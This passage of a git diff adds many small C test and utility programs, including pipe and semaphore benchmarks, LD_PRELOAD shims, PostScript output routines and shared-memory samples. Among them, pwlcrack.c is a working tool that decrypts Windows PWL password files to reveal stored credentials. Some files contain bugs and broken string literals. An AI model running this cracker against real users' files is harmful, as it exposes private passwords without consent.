+                       generator(f_out);
+               } else {
+                       receiver(f_in);
+               }
+       }
+
+       return 0;
+}
diff --git a/ntoa.c b/ntoa.c
new file mode 100644 (file)
index 0000000..1c07d66
--- /dev/null
+++ b/ntoa.c
@@ -0,0 +1,21 @@
+#include <stdio.h>
+#include <sys/types.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+
+
+main()
+{
+       struct in_addr ip;
+       
+       ip.s_addr = 0x12345678;
+
+       if (strcmp(inet_ntoa(ip),"18.52.86.120") != 0 &&
+           strcmp(inet_ntoa(ip),"120.86.52.18") != 0) {
+               fprintf(stderr,"broken inet_ntoa\n");
+               exit(0);
+       } 
+
+       /* not a broken inet_ntoa */
+       exit(1);
+}
diff --git a/pause.c b/pause.c
new file mode 100644 (file)
index 0000000..29a6af7
--- /dev/null
+++ b/pause.c
@@ -0,0 +1,10 @@
+#include <stdio.h>
+
+main(int argc,char *argv[])
+{
+  char *s = "Press any key to continue....";
+  if (argc > 1)
+    s = argv[1];
+  puts(s);
+  getc(stdin);
+}
diff --git a/pipes.c b/pipes.c
new file mode 100644 (file)
index 0000000..0449422
--- /dev/null
+++ b/pipes.c
@@ -0,0 +1,101 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+
+/*******************************************************************
+find the difference in milliseconds between two struct timeval
+values
+********************************************************************/
+int TvalDiff(struct timeval *tvalold,struct timeval *tvalnew)
+{
+  return((tvalnew->tv_sec - tvalold->tv_sec)*1000 + 
+        ((int)tvalnew->tv_usec - (int)tvalold->tv_usec)/1000);  
+}
+
+/*******************************************************************
+sleep for a specified number of milliseconds
+********************************************************************/
+void msleep(int t)
+{
+  int tdiff=0;
+  struct timeval tval,t1,t2;  
+
+  gettimeofday(&t1, NULL);
+  gettimeofday(&t2, NULL);
+  
+  while (tdiff < t) {
+    tval.tv_sec = (t-tdiff)/1000;
+    tval.tv_usec = 1000*((t-tdiff)%1000);
+    errno = 0;
+    select(0,NULL,NULL, NULL, &tval);
+
+    gettimeofday(&t2, NULL);
+    tdiff = TvalDiff(&t1,&t2);
+  }
+}
+
+/****************************************************************************
+Set a fd into blocking/nonblocking mode. Uses POSIX O_NONBLOCK if available,
+else
+if SYSV use O_NDELAY
+if BSD use FNDELAY
+****************************************************************************/
+int set_blocking(int fd, int set)
+{
+  int val;
+#ifdef O_NONBLOCK
+#define FLAG_TO_SET O_NONBLOCK
+#else
+#ifdef SYSV
+#define FLAG_TO_SET O_NDELAY
+#else /* BSD */
+#define FLAG_TO_SET FNDELAY
+#endif
+#endif
+
+  if((val = fcntl(fd, F_GETFL, 0)) == -1)
+       return -1;
+  if(set) /* Turn blocking on - ie. clear nonblock flag */
+       val &= ~FLAG_TO_SET;
+  else
+    val |= FLAG_TO_SET;
+  return fcntl( fd, F_SETFL, val);
+#undef FLAG_TO_SET
+}
+
+
+int main()
+{
+       int fdpair[2];
+       char buf[512] = {0,};
+
+       pipe(fdpair);
+       if (fork()) {
+               fd_set fds;
+               while (1) {
+                       int ret;
+
+                       FD_ZERO(&fds);
+                       FD_SET(fdpair[1], &fds);
+
+                       if (select(10, NULL, &fds, NULL, NULL) == 1) {
+                               printf("writing ..\n"); fflush(stdout);
+                               ret = write(fdpair[1], buf, sizeof(buf));
+                               printf("wrote %d\n", ret); fflush(stdout);
+                       }
+               }
+       } else {
+               set_blocking(fdpair[0], 0);
+               while (1) {
+                       int ret = read(fdpair[0], buf, 40);
+                       msleep(100);
+               }
+       }
+
+       return 0;
+}
diff --git a/pipespeed.c b/pipespeed.c
new file mode 100644 (file)
index 0000000..a17a4e3
--- /dev/null
@@ -0,0 +1,77 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sys/time.h>
+
+#define BUFSIZE 0x8000
+
+
+struct timeval tp1,tp2;
+
+static void start_timer()
+{
+       gettimeofday(&tp1,NULL);
+}
+
+static double end_timer()
+{
+       gettimeofday(&tp2,NULL);
+       return((tp2.tv_sec - tp1.tv_sec) + 
+              (tp2.tv_usec - tp1.tv_usec)*1.0e-6);
+}
+
+int main(int argc, char *argv[])
+{
+       int fdpair[2];
+       int fd, size, i=0;
+       char buf[BUFSIZE];
+
+       if (argc < 2) {
+               printf("Usage: pipespeed megabytes\n");
+               exit(1);
+       }
+
+       memset(buf,'Z',BUFSIZE);
+
+       size = atoi(argv[1]) * 0x100000;
+
+       fd = open("/dev/null", O_WRONLY);
+       if (fd == -1) {
+               perror("open");
+               exit(1);
+       }
+
+       if (pipe(fdpair) != 0) {
+               perror("pipe");
+               exit(1);
+       }
+
+       if (fork() == 0) {
+               close(fdpair[1]);
+               while (i<size) {
+                       int n = read(fdpair[0], buf, BUFSIZE);
+                       if (n <= 0) exit(1);
+                       write(fd, buf, n);
+                       i += n;
+               }
+               exit(0);
+       }
+
+       close(fdpair[0]);
+
+       start_timer();
+
+       while (i<size) {
+               int n = write(fdpair[1], buf, BUFSIZE);
+               if (n <= 0) {
+                       printf("pipe write error\n");
+                       exit(1);
+               }
+               i += n;
+       }
+
+       printf("%g MB/sec\n", (i/(0x100000))/end_timer());
+
+       return 0;
+}
diff --git a/preload.c b/preload.c
new file mode 100644 (file)
index 0000000..3f7aad6
--- /dev/null
+++ b/preload.c
@@ -0,0 +1,15 @@
+#include <pwd.h>
+#include <sys/types.h>
+#include <dlfcn.h>
+
+struct passwd *getpwuid(uid_t uid)
+{
+       static void *h;
+       static struct passwd * (*getpwuid_orig)(uid_t uid);
+       if (!h) {
+               h = dlopen("/lib/libc.so.6", RTLD_LAZY);
+               getpwuid_orig = dlsym(h, "getpwuid");
+       }
+       
+       return getpwuid_orig(uid+1);
+}
diff --git a/preload_shmat.c b/preload_shmat.c
new file mode 100644 (file)
index 0000000..2fc508c
--- /dev/null
@@ -0,0 +1,23 @@
+#include <stdio.h>
+#include <sys/types.h>
+#include <dlfcn.h>
+
+void *shmat(int shmid, const void *shmaddr, int shmflag)
+{
+       static void *h;
+       static void *(*shmat_orig)(int , const void *, int );
+       static int count;
+       if (!h) {
+               h = dlopen("/lib/libc.so.6", RTLD_LAZY);
+               shmat_orig = dlsym(h, "shmat");
+               count = atoi(getenv("SHMAT_COUNT"));
+       }
+
+       fprintf(stderr,"shmat(%d, %p, 0x%x)\n", shmid, shmaddr, shmflag);
+
+       if (! count) return NULL;
+
+       count--;
+
+       return shmat_orig(shmid, shmaddr, shmflag);
+}
diff --git a/pscript.c b/pscript.c
new file mode 100644 (file)
index 0000000..55492f1
--- /dev/null
+++ b/pscript.c
@@ -0,0 +1,129 @@
+/* Here is an implementation of these routines for
+   output to Postscript files */
+
+
+
+FILE *outfile;
+
+#define PTS_PER_INCH 72
+#define P_SCALE_X 0.5
+#define P_SCALE_Y 0.5
+#define PAGE_WIDTH 8 /* inches */
+#define PAGE_HEIGHT 8 /* inches */
+#define P_MAXX ((int)(PAGE_WIDTH*PTS_PER_INCH/P_SCALE_X))
+#define P_MAXY ((int)(PAGE_HEIGHT*PTS_PER_INCH/P_SCALE_Y))
+#define P_ORIGIN_X 0
+#define P_ORIGIN_Y 100
+#define P_LINE_WIDTH 1.0
+#define P_FONT "Courier-Bold"
+#define P_FONT_SIZE 12
+#define P_FONT_WIDTH (36.0*P_FONT_SIZE/60)
+#define P_LINE_CAP 0
+#define P_MAC1 "/x { moveto } def"
+#define P_MAC2 "/y { lineto } def"
+#define P_MAC3 "/z { stroke } def"
+
+
+
+void start_graphics()
+{
+/* Start it going */
+       outfile = stdout;
+       fprintf(outfile,"%c!\ninitgraphics\n",'%');
+/* Setup scaling etc. */
+       fprintf(outfile,"%-4.2f %-4.2f scale\n",P_SCALE_X,P_SCALE_Y);
+       fprintf(outfile,"%d %d translate\n",P_ORIGIN_X,P_ORIGIN_Y);
+/* Define some macros */
+       fprintf(outfile,"%s\n%s\n%s\n",P_MAC1,P_MAC2,P_MAC3);
+/* Default text size etc. */
+       fprintf(outfile,"/%s findfont\n",P_FONT);
+       fprintf(outfile,"%d scalefont\n",(int)(P_FONT_SIZE/P_SCALE_X));
+       fprintf(outfile,"setfont\n");
+/* Default line width, style etc. */
+       fprintf(outfile,"%-3.1f setlinewidth\n",P_LINE_WIDTH);
+       fprintf(outfile,"%d setlinecap\n",P_LINE_CAP);
+       fprintf(outfile,"[] 0 setdash\n");
+}
+
+void end_graphics()
+{
+/* display it */
+       fprintf(outfile,"showpage\n");
+/* close file */
+/*     fclose(outfile);*/
+}
+
+int get_maxx()
+{
+       return(P_MAXX);
+}
+
+int get_maxy()
+{
+       return(P_MAXY);
+}
+
+int new_y(y)
+int y;
+/* Flip in Y direction to make origin in bottom left */
+{
+       return(get_maxy()-y);
+}
+
+void draw_line(x1,y1,x2,y2)
+int x1,y1,x2,y2;
+{
+       fprintf(outfile,"%d %d x %d %d y z\n",x1,new_y(y1),x2,new_y(y2));
+}
+
+int descender()
+/* Height of descender */
+{
+       return(char_height()/3);
+}
+
+void graph_text(x,y,str)
+int x,y;
+char *str;
+{
+       fprintf(outfile,"%d %d x (%s) show\n",x,new_y(y)+descender(),str);
+}
+
+void choose_line_type(type)
+int type;
+{
+char *dashing;
+double width;
+int index;
+index = type % 6;
+switch (index)
+{
+       case 0 : dashing="[] 0"; width=1.2; break;
+       case 1 : dashing="[6] 0"; width=1.2; break;
+       case 2 : dashing="[4] 1"; width=1.2; break;
+       case 3 : dashing="[] 0"; width=1.8; break;
+       case 4 : dashing="[6] 0"; width=1.8; break;
+       case 5 : dashing="[4] 1"; width=1.8; break;
+}
+       fprintf(outfile,"%-3.1f setlinewidth\n",
+               width*P_LINE_WIDTH);
+       fprintf(outfile,"%s setdash\n",dashing);
+
+}
+
+void wait_for_end()
+{
+}
+
+int char_width()
+{
+       return((int)(P_FONT_WIDTH/P_SCALE_X));
+}
+
+int char_height()
+{
+       return((int)(P_FONT_SIZE/P_SCALE_Y));
+}
+
+/* End of PostScript specific routines */
+
diff --git a/pwd.c b/pwd.c
new file mode 100644 (file)
index 0000000..ddfd0b0
--- /dev/null
+++ b/pwd.c
@@ -0,0 +1,45 @@
+#include <stdio.h>
+#include <errno.h>
+#include <pwd.h>
+#include <grp.h>
+
+
+int pwdauth(char *user,char *password)
+{
+  struct passwd *pass = getpwnam(user);
+  if (!pass) {
+    errno = EINVAL; /* Note: SunOS returns EACCES */
+    return(-1);
+  }
+  if (strcmp(crypt(password,pass->pw_passwd),pass->pw_passwd)) {
+    errno = EACCES;
+    return(-1);
+  }
+  return(0);
+}
+
+int grpauth(char *group,char *password)
+{
+  struct group *grp = getgrnam(user);
+  if (!grp) {
+    errno = EINVAL;
+    return(-1);
+  }
+  if (grp->gr_passwd &&
+      strcmp(crypt(password,grp->gr_passwd),grp->gr_passwd)) {
+    errno = EACCES;
+    return(-1);
+  }
+  return(0);
+}
+
+
+main(int argc,char *argv[])
+{
+  char *pass = getpass("Password: ");
+
+
+  errno=0;
+  printf("res=%d (%s,%s)\n",pwdauth(argv[1],pass),argv[1],pass);
+  printf("errno=%d\n",errno);
+}
diff --git a/pwlcrack.c b/pwlcrack.c
new file mode 100644 (file)
index 0000000..4eb9f7b
--- /dev/null
@@ -0,0 +1,138 @@
+#include <stdio.h>
+#include <string.h>
+
+
+unsigned char Data[100001];
+unsigned char keystream[1001];
+int Rpoint[300];
+
+
+main (int argc,char *argv[]) {
+  FILE *fd;
+  int  i,j,k;
+  int  size;
+  char ch;
+  char *name;
+  int cracked;
+  int sizemask;
+  int maxr;
+  int rsz;
+  int pos;
+  int Rall[300]; /* resource allocation table */
+
+  if (argc<2) {
+    printf("usage: glide filename (username)");
+    exit(1);
+  }
+
+  /* read PWL file */
+
+  fd=fopen(argv[1],"rb");
+  if(fd==NULL) {
+    printf("can't open file %s",argv[2]);
+    exit(1);
+  }
+  size=0;
+  while(!feof(fd)) {
+    Data[size++]=fgetc(fd);
+  }
+  size--;
+  fclose(fd);
+
+  /* find username */
+  name=argv[1];
+  if(argc>2) {
+    name=argv[2];  
+  } else {
+    char *p = strrchr(name,'/');
+    if (p) name = p+1;
+  }
+  printf("Username: %s\n",name);
+
+  /* copy encrypted text into keystream */
+  cracked=size-0x0208;
+  if(cracked<0) cracked=0;
+  if(cracked>1000) cracked=1000;
+  memcpy(keystream,Data+0x208,cracked );
+
+       /* generate 20 bytes of keystream */
+  for(i=0;i<20;i++) {
+    ch=toupper(name[i]);
+    if(ch==0) break;
+    if(ch=='.') break;
+    keystream[i]^=ch;
+  };
+  cracked=20;
+
+
+       /* find allocated resources */
+
+  sizemask=keystream[0]+(keystream[1]<<8);
+  printf("Sizemask: %04X\n",sizemask);
+
+  for(i=0;i<256;i++) Rall[i]=0;
+
+  maxr=0;
+  for(i=0x108;i<0x208;i++) {
+    if(Data[i]!=0xff) {
+      Rall[Data[i]]++;
+      if (Data[i]>maxr) maxr=Data[i];
+    }
+  }
+  maxr=(((maxr/16)+1)*16);     /* resource pointer table size appears
+to be divisible by 16 */
+
+       /* search after resources */
+
+  Rpoint[0]=0x0208+2*maxr+20+2;        /* first resource */
+  for(i=0;i<maxr;i++) {
+    /* find size of current resource */
+    pos=Rpoint[i];
+    rsz=Data[pos]+(Data[pos+1]<<8);
+    rsz^=sizemask;
+    printf("Analyzing block with size:
+%04x\t(%d:%d)\n",rsz,i,Rall[i]);
+    if( (Rall[i]==0) && (rsz!=0) ) {
+      printf("unused resource has nonzero size !!!\n");
+      exit(0);
+    }
+
+    pos+=rsz;
+
+               /* Resources have a tendency to have the wrong size for some
+reason */
+               /* check for correct size */
+
+    if(i<maxr-1) {
+      while(Data[pos+3]!=keystream[1]) {
+       printf(":(%02x)",Data[pos+3]);
+       pos+=2; /* very rude may fail */
+      }
+    }
+
+    pos+=2;    /* include pointer in size */
+    Rpoint[i+1]=pos;
+  }
+  Rpoint[maxr]=size;
+
+       /* insert Table data into keystream */
+  for(i=0;i <= maxr;i++) {
+    keystream[20+2*i]^=Rpoint[i] & 0x00ff;
+    keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff;
+  }
+  cracked+=maxr*2+2;
+
+  printf("%d bytes of keystream recovered\n",cracked);
+
+  /* decrypt resources */
+  for(i=0;i < maxr;i++) {
+    rsz=Rpoint[i+1]-Rpoint[i];
+    if (rsz>cracked) rsz=cracked;
+    printf("Resource[%d] (%d)\n",i,rsz);
+    for(j=0;j<rsz;j++) printf("%c",Data[Rpoint[i]+j]^keystream[j]);
+    printf("\n");
+  }
+
+
+  exit(0);
+}
diff --git a/semspeed.c b/semspeed.c
new file mode 100644 (file)
index 0000000..b41eee4
--- /dev/null
@@ -0,0 +1,339 @@
+/* quick test of semaphore speed */
+
+/*
+
+Results with the following defines:
+  #define NSEMS 20
+  #define NPROCS 60
+  #define NUMOPS 10000
+
+  OSF1 dominion.aquasoft.com.au V4.0 564 alpha (233 MHz)
+  fcntl: 132.814 secs
+  ipc: 13.5186 secs
+
+  Linux dominion.aquasoft.com.au 2.0.30 (alpha 233 MHz)
+  fcntl: 16.9473 secs
+  ipc: 61.9336 secs
+
+  Linux 2.1.57 on a P120
+  fcntl: 21.3006 secs
+  ipc: 93.9982 secs
+
+  Solaris 2.5 on a Ultra170
+  fcntl: 192.805 secs
+  ipc: 18.6859 secs
+
+  IRIX 6.4 on a Origin200
+  fcntl: 183.488 secs
+  ipc: 10.4431 secs
+
+  SunOS 4.1.3 on a 2 CPU sparc 10
+  fcntl: 198.239 secs
+  ipc: 150.026 secs
+
+  Solaris 2.5.1 on a 4 CPU SPARCsystem-600
+  fcntl: 312.025 secs
+  ipc: 24.5416 secs
+
+  Linux 2.1.131 on K6/200
+  fcntl: 8.27074 secs
+  ipc: 49.7771 secs
+
+  Linux 2.0.34 on P200
+  fcntl: 7.99596 secs
+  ipc: 52.3388 secs
+
+  AIX 4.2 on 2-proc RS6k with 233MHz processors
+  fcntl: 12.4272 secs
+  ipc: 5.41895 secs
+
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <unistd.h>
+#include <sys/stat.h>
+#include <sys/ipc.h>
+#include <sys/sem.h>
+#include <sys/time.h>
+#ifdef HAVE_POSIX_SEM
+#include <semaphore.h>
+#endif
+
+#define NSEMS 20
+#define NPROCS 60
+#define NUMOPS 10000
+
+#define SEMAPHORE_KEY 0x569890
+#define SHM_KEY 0x568698
+
+static int fcntl_fd;
+static int sem_id;
+static int shm_id;
+static int *shm_p;
+static int mypid;
+
+#ifdef HAVE_POSIX_SEM
+static sem_t posix_sems[NSEMS];
+#endif
+
+static int state[NSEMS];          
+
+#define BUFSIZE (1024)
+static char buf1[BUFSIZE];
+static char buf2[BUFSIZE];
+
+#ifdef NO_SEMUN
+union semun {
+       int val;
+       struct semid_ds *buf;
+       unsigned short *array;
+};
+#endif
+
+
+static struct timeval tp1,tp2;
+
+static void start_timer()
+{
+       gettimeofday(&tp1,NULL);
+}
+
+static double end_timer()
+{
+       gettimeofday(&tp2,NULL);
+       return((tp2.tv_sec - tp1.tv_sec) + 
+              (tp2.tv_usec - tp1.tv_usec)*1.0e-6);
+}
+
+
+/************************************************************************
+  USING FCNTL LOCKS 
+  ***********************************************************************/
+void fcntl_setup(void)
+{
+       fcntl_fd = open("fcntl.locks", O_RDWR | O_CREAT | O_TRUNC, 0600);
+       write(fcntl_fd, state, sizeof(state));
+}
+
+void fcntl_close(void)
+{
+       unlink("fcntl.locks");
+}
+
+void fcntl_sem_lock(int i)
+{
+       struct flock lock;
+       int ret;
+
+       lock.l_type = F_WRLCK;
+       lock.l_whence = SEEK_SET;
+       lock.l_start = i*sizeof(int);
+       lock.l_len = sizeof(int);
+       lock.l_pid = 0;
+
+       errno = 0;
+
+       if (fcntl(fcntl_fd, F_SETLKW, &lock) != 0) {
+               perror("WRLCK");
+               exit(1);
+       }
+}
+
+void fcntl_sem_unlock(int i)
+{
+       struct flock lock;
+       int ret;
+
+       lock.l_type = F_UNLCK;
+       lock.l_whence = SEEK_SET;
+       lock.l_start = i*sizeof(int);
+       lock.l_len = sizeof(int);
+       lock.l_pid = 0;
+
+       errno = 0;
+
+       if (fcntl(fcntl_fd, F_SETLKW, &lock) != 0) {
+               perror("WRLCK");
+               exit(1);
+       }
+}
+
+
+
+/************************************************************************
+  USING SYSV IPC SEMAPHORES
+  ***********************************************************************/
+void ipc_setup(void)
+{
+       int i;
+       union semun su;
+
+       su.val = 1;
+
+       sem_id = semget(SEMAPHORE_KEY, NSEMS, 
+                       IPC_CREAT|IPC_EXCL|0600);
+       if (sem_id == -1) {
+               sem_id = semget(SEMAPHORE_KEY, 0, 0);
+               if (sem_id != -1) {
+                       semctl(sem_id, 0, IPC_RMID, su);
+                       sem_id = semget(SEMAPHORE_KEY, NSEMS, 
+                                       IPC_CREAT|IPC_EXCL|0600);
+               }
+       }
+       if (sem_id == -1) {
+               perror("semget");
+               exit(1);
+       }
+
+       for (i=0;i<NSEMS;i++) {
+               semctl(sem_id, i, SETVAL, su);
+       }
+
+       if (sem_id == -1) {
+               perror("semget");
+               exit(1);
+       }
+}
+
+void ipc_close(void)
+{
+       union semun su;
+       su.val = 1;
+       semctl(sem_id, 0, IPC_RMID, su);
+}
+
+
+void ipc_change(int i, int op)
+{
+       struct sembuf sb;
+       sb.sem_num = i;
+       sb.sem_op = op;
+       sb.sem_flg = 0;
+       if (semop(sem_id, &sb, 1)) {
+               fprintf(stderr,"semop(%d,%d): ", i, op);
+               perror("");
+               exit(1);
+       }
+}
+
+void ipc_sem_lock(int i)
+{
+       ipc_change(i, -1);
+}
+
+void ipc_sem_unlock(int i)
+{
+       ipc_change(i, 1);
+}
+
+
+#ifdef HAVE_POSIX_SEM
+/************************************************************************
+  USING POSIX semaphores
+  ***********************************************************************/
+void posix_setup(void)
+{
+       int i;
+
+       for (i=0;i<NSEMS;i++) {
+               if (sem_init(&posix_sems[i], 1, 1) != 0) {
+                       fprintf(stderr,"failed to setup semaphore %d\n", i);
+                       break;
+               }
+       }
+}
+
+void posix_close(void)
+{
+       int i;
+
+       for (i=0;i<NSEMS;i++) {
+               if (sem_close(&posix_sems[i]) != 0) {
+                       fprintf(stderr,"failed to close semaphore %d\n", i);
+                       break;
+               }
+       }
+}
+
+
+void posix_lock(int i)
+{
+       if (sem_wait(&posix_sems[i]) != 0) fprintf(stderr,"failed to get lock %d\n", i);
+}
+
+void posix_unlock(int i)
+{
+       if (sem_post(&posix_sems[i]) != 0) fprintf(stderr,"failed to release lock %d\n", i);
+}
+#endif
+
+
+void test_speed(char *s, void (*lock_fn)(int ), void (*unlock_fn)(int ))
+{
+       int i, j, status;
+       pid_t pids[NPROCS];
+
+       for (i=0;i<NSEMS;i++) {
+               lock_fn(i);
+       }
+
+       for (i=0;i<NPROCS;i++) {
+               pids[i] = fork();
+               if (pids[i] == 0) {
+                       mypid = getpid();
+                       srandom(mypid ^ time(NULL));
+                       for (j=0;j<NUMOPS;j++) {
+                               unsigned sem = random() % NSEMS;
+
+                               lock_fn(sem);
+                               memcpy(buf2, buf1, sizeof(buf1));
+                               unlock_fn(sem);
+                               memcpy(buf1, buf2, sizeof(buf1));
+                       }
+                       exit(0);
+               }
+       }
+
+       sleep(1);
+       
+       printf("%s: ", s);
+       fflush(stdout);
+
+       start_timer();
+
+       for (i=0;i<NSEMS;i++) {
+               unlock_fn(i);
+       }
+
+       for (i=0;i<NPROCS;i++)
+               waitpid(pids[i], &status, 0);
+
+       printf("%g secs\n", end_timer());
+}
+
+int main(int argc, char *argv[])
+{
+       srandom(getpid() ^ time(NULL));
+
+       printf("NPROCS=%d NSEMS=%d NUMOPS=%d\n", NPROCS, NSEMS, NUMOPS);
+
+       
+       fcntl_setup();
+       test_speed("fcntl", fcntl_sem_lock, fcntl_sem_unlock);
+       fcntl_close();
+
+       ipc_setup();
+       test_speed("ipc", ipc_sem_lock, ipc_sem_unlock);
+       ipc_close();
+
+#ifdef HAVE_POSIX_SEM
+       posix_setup();
+       test_speed("posix", posix_lock, posix_unlock);
+       posix_close();
+#endif
+
+       return 0;
+}
diff --git a/sethostid.c b/sethostid.c
new file mode 100644 (file)
index 0000000..df9d6d4
--- /dev/null
@@ -0,0 +1,8 @@
+#include <stdlib.h>
+#include <stdio.h>
+
+
+main(int argc, char *argv[])
+{
+       sethostid(strtol(argv[1], NULL, 0));
+}
diff --git a/shm_sample.c b/shm_sample.c
new file mode 100644 (file)
index 0000000..b3b9a89
--- /dev/null
@@ -0,0 +1,186 @@
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#if USE_SHM
+#include <sys/ipc.h>
+#include <sys/shm.h>
+
+/* return a pointer to a anonymous shared memory segment of size "size"
+   which will persist across fork() but will disappear when all processes
+   exit 
+
+   The memory is not zeroed 
+
+   This function uses system5 shared memory. It takes advantage of a property
+   that the memory is not destroyed if it is attached when the id is removed
+   */
+void *shm_setup(int size)
+{
+       int shmid;
+       void *ret;
+
+       shmid = shmget(IPC_PRIVATE, size, SHM_R | SHM_W);
+       if (shmid == -1) {
+               printf("can't get shared memory\n");
+               exit(1);
+       }
+       ret = (void *)shmat(shmid, 0, 0);
+       if (!ret || ret == (void *)-1) {
+               printf("can't attach to shared memory\n");
+               return NULL;
+       }
+       /* the following releases the ipc, but note that this process
+          and all its children will still have access to the memory, its
+          just that the shmid is no longer valid for other shm calls. This
+          means we don't leave behind lots of shm segments after we exit 
+
+          See Stevens "advanced programming in unix env" for details
+          */
+       shmctl(shmid, IPC_RMID, 0);
+
+
+       
+       return ret;
+}
+#endif
+
+
+
+#if USE_DEVZERO
+#include <sys/mman.h>
+#include <fcntl.h>
+
+/* return a pointer to a /dev/zero shared memory segment of size "size"
+   which will persist across fork() but will disappear when all processes
+   exit 
+
+   The memory is zeroed automatically
+
+   This relies on /dev/zero being shared mmap capable, which it is
+   only under some OSes (Linux 2.1 _not_ included)
+ */
+void *shm_setup(int size)
+{
+       void *ret;
+       int fd;
+
+       fd = open("/dev/zero", O_RDWR);
+       if (fd == -1) {
+               return NULL;
+       }
+       ret = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE,
+                  fd, 0);
+
+       /* note that we don't need to keep the file open */
+       close(fd);
+       if (ret == (void *)-1) return NULL;
+       return ret;
+}
+#endif
+
+
+#if USE_MAPANON
+#include <sys/mman.h>
+
+/* return a pointer to a /dev/zero shared memory segment of size "size"
+   which will persist across fork() but will disappear when all processes
+   exit 
+
+   The memory is zeroed automatically
+
+   This relies on anonyous shared mmap, which only some OSes can
+   do. Linux 2.1 is _not_ one of them.
+   */
+void *shm_setup(int size)
+{
+       void *ret;
+       ret = mmap(0, size, PROT_READ | PROT_WRITE, MAP_ANON | MAP_SHARED,
+                  -1, 0);
+       if (ret == (void *)-1) return NULL;
+       return ret;
+}
+#endif
+
+
+#if USE_MAPFILE
+#include <sys/mman.h>
+#include <fcntl.h>
+
+/* return a pointer to a /dev/zero shared memory segment of size "size"
+   which will persist across fork() but will disappear when all processes
+   exit 
+
+   The memory is zeroed automatically
+
+   This relies only on shared mmap, which almost any mmap capable OS
+   can do. Linux can do this as of version 1.2 (I believe). certainly
+   all recent versions can do it.
+  */
+void *shm_setup(int size)
+{
+       void *ret;
+       int fd, zero=0;
+       char template[20] = "/tmp/shm.XXXXXX";
+
+       /* mkstemp() isn't really portable but use it if it exists as
+           otherwise you are open to some nasty soft-link /tmp based
+           hacks */
+       fd = mkstemp(template);
+       if (fd == -1) {
+               return NULL;
+       }
+       lseek(fd, size, SEEK_SET);
+       write(fd, &zero, sizeof(zero));
+       ret = mmap(0, size, PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED,
+                  fd, 0);
+       close(fd);
+       unlink(template);
+       if (ret == (void *)-1) return NULL;
+       return ret;
+}
+#endif
+
+
+int main(int argc, char *argv[])
+{
+       volatile char *buf;
+       int size;
+       pid_t child, parent;
+
+       if (argc < 2) {
+               printf("shm_sample <size>\n");
+               exit(1);
+       }
+
+       size = atoi(argv[1]);
+
+       buf = shm_setup(size);
+
+       if (!buf) {
+               printf("shm_setup(%d) failed\n", size);
+               exit(1);
+       }
+       memset(buf, 0, sizeof(int));
+
+       parent = getpid();
+       child = fork();
+
+       if (!child) {
+               *(int *)buf = parent;
+               return 0;
+       }
+
+       waitpid(child, 0, 0);
+
+       if (*(int *)buf == 0) {
+               printf("memory not shared?\n");
+       } else {
+               printf("pid via shm is %d real pid is %d\n",
+                      *(int *)buf, parent);
+       }
+
+       return 0;
+}
+
diff --git a/shm_size.c b/shm_size.c
new file mode 100644 (file)
index 0000000..c6488eb
--- /dev/null
@@ -0,0 +1,57 @@
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/ipc.h>
+#include <sys/shm.h>
+
+void *shm_setup(int size)
+{
+       int shmid;
+       void *ret;
+
+       shmid = shmget(IPC_PRIVATE, size, SHM_R | SHM_W);
+       if (shmid == -1) {
+               printf("can't get shared memory\n");
+               exit(1);
+       }
+       ret = (void *)shmat(shmid, 0, 0);
+       if (!ret || ret == (void *)-1) {
+               printf("can't attach to shared memory\n");
+               return NULL;
+       }
+       /* the following releases the ipc, but note that this process
+          and all its children will still have access to the memory, its
+
+          means we don't leave behind lots of shm segments after we exit 
+
+          See Stevens "advanced programming in unix env" for details
+          */
+       shmctl(shmid, IPC_RMID, 0);
+
+
+       
+       return ret;
+}
+
+int main(int argc, char *argv[])
+{
+       volatile char *buf;
+       int size;
+
+       if (argc < 2) {
+               printf("shm_size <size>\n");
+               exit(1);
+       }
+
+       size = atoi(argv[1]);
+
+       buf = shm_setup(size);
+
+       if (!buf) {
+               printf("shm_setup(%d) failed\n", size);
+               exit(1);
+       }
+       return 0;
+}
+
diff --git a/sizeof.c b/sizeof.c
new file mode 100644 (file)
index 0000000..a85f955
--- /dev/null
+++ b/sizeof.c
@@ -0,0 +1,15 @@
+#include <stdio.h>
+#include <sys/types.h>
+
+main()
+{
+        printf("char  : %d\n", sizeof(char));
+        printf("short : %d\n", sizeof(short));
+        printf("int   : %d\n", sizeof(int));
+        printf("long   : %d\n", sizeof(long));
+        printf("long long  : %d\n", sizeof(long long));
+        printf("int * : %d\n", sizeof(int *));
+        printf("time_t : %d\n", sizeof(time_t));
+        printf("off_t : %d\n", sizeof(off_t));
+        printf("uid_t : %d\n", sizeof(uid_t));
+}
diff --git a/snoop2cap.c b/snoop2cap.c
new file mode 100644 (file)
index 0000000..e52577a
--- /dev/null
@@ -0,0 +1,363 @@
+/* convert a snoop capture file to a netmon .cap file.
+     by Seiichi Tatsukawa (stat@rational.com), March 1998.
+
+   Based on capconvert.c by Andrew Tridgell, October 1997
+
+   This only works for 32 bit boxes at the moment. Change the typedefs
+   to work on other sytems
+*/
+
+#include <stdlib.h>
+#ifdef WIN32
+#include <io.h>
+#else
+#include <unistd.h>
+#endif
+#include <memory.h>
+#include <sys/types.h>
+#include <sys/time.h>
+#include <time.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <string.h>
+
+/* change the following 3 lines to make things work on
+   systems with different word sizes */
+typedef int int32;
+typedef unsigned int uint32;
+typedef unsigned short uint16;
+
+
+/* #define _DEBUG 1 */
+
+#define SNOOP_MAGIC "snoop\0\0\0"
+
+#ifndef WIN32
+#define        O_BINARY        0
+#else
+#pragma pack(push)
+#pragma pack(1)
+
+struct timeval {
+       uint32  tv_sec;         /* seconds */
+       int32   tv_usec;        /* and microseconds */
+};
+#endif
+
+/* snoop file format */
+struct snoop_file_header {
+       union {
+               uint32 m[2];
+               char magic[8];
+       } u;
+       uint16 major;
+       uint16 minor;
+       uint32 linktype;
+};
+
+struct snoop_packet {
